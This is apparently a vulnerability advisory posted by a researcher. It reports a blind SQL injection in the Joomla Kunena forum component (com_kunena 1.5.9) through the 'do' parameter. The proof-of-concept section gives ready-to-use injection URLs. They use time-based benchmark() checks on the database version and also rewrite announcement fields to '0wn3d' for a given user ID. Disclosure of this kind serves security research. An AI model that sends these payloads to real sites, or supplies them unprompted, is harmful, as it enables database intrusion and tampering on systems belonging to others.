[~]>> ...[BEGIN ADVISORY]...

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[~]>> TITLE: Joomla (com_kunena) BLIND SQL Injection Vulnerability
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost

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[~]>> DESCRIPTION: Input var do is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.5.9 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

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[~]>> PROOF OF CONCEPT:

[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86&func=announcement&do=[SQL]

[~]>> {RETURN TRUE::RETURN FALSE} ---> VIEW TIME RESPONSE ||| HIGH: TRUE ||| LOW: FALSE

[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86&func=announcement&do=show', link='0wn3d', task='0wn3d' WHERE userid=62 AND 1=if(substring(@@version,1,1)=5,benchmark(999999,md5(@@version)),1)/*
[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86&func=announcement&do=show', link='0wn3d', task='0wn3d' WHERE userid=62 AND 1=if(substring(@@version,1,1)=4,benchmark(999999,md5(@@version)),1)/*

[~]>> Note: There are more affected vars.

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[~]>> ...[END ADVISORY]...